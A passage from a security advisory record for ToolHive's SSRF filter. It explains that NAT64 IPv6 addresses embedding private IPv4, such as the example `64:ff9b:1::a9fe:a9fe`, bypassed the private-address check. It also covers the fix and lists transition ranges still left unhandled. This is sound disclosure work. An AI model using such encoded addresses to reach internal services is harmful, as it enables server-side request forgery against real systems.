private/reserved checks to it, so that `64:ff9b::8.8.8.8` (a NAT64 path to a genuinely public host) is not over-blocked while `64:ff9b:1::a9fe:a9fe` is blocked. The implemented fix (PR on the private advisory fork) takes this embedded-IPv4 approach: it decodes the low 32 bits for the well-known `64:ff9b::/96` and the `64:ff9b:1::/96` sub-prefix and re-applies the IPv4 private/reserved checks, so genuinely public NAT64 egress is not over-blocked. Because the RFC 8215 local-use `64:ff9b:1::/48` may use a shorter NAT64 prefix (RFC 6052 §2.2) that places the embedded IPv4 outside the low 32 bits, the remainder of that `/48` is blocked wholesale (fail closed) rather than decoded, avoiding a false-negative bypass.\n\nAs bundled defense-in-depth, the same patch also classifies a few special-use ranges that `IsPrivateIP` previously missed: `0.0.0.0/8` (RFC 1122 \"this host\") and the unspecified address (`0.0.0.0` / `::`), plus `240.0.0.0/4` (RFC 1112 reserved, including the `255.255.255.255` broadcast). Separately tracked follow-ups (not in this patch): decoding/rejecting other IPv4-in-IPv6 transition ranges (6to4 `2002::/16`, Teredo `2001::/32`, IPv4-compatible `::/96`), and a pre-clone DNS-resolution check in the skills git resolver, which currently validates only literal IPs.\n\n## Resources\n\n- RFC 6052 — IPv6 Addressing of IPv4/IPv6 Translators (well-known prefix `64:ff9b::/96`)\n- RFC 8215 — Local-Use IPv4/IPv6 Translation Prefix (`64:ff9b:1::/48`)\n- RFC 6147 — DNS64\n- CWE-918 — Server-Side Request Forgery (SSRF)\n- ToolHive v0.29.0, commit `570ce07013b72208fcae339e9492f5867a1af994`",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/stacklok/toolhive"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.29.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.29.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/stacklok/toolhive/security/advisories/GHSA-pph6-vfjv-vpjw"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/stacklok/toolhive"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-15T21:51:03Z",
    "nvd_published_at" : null
  }
}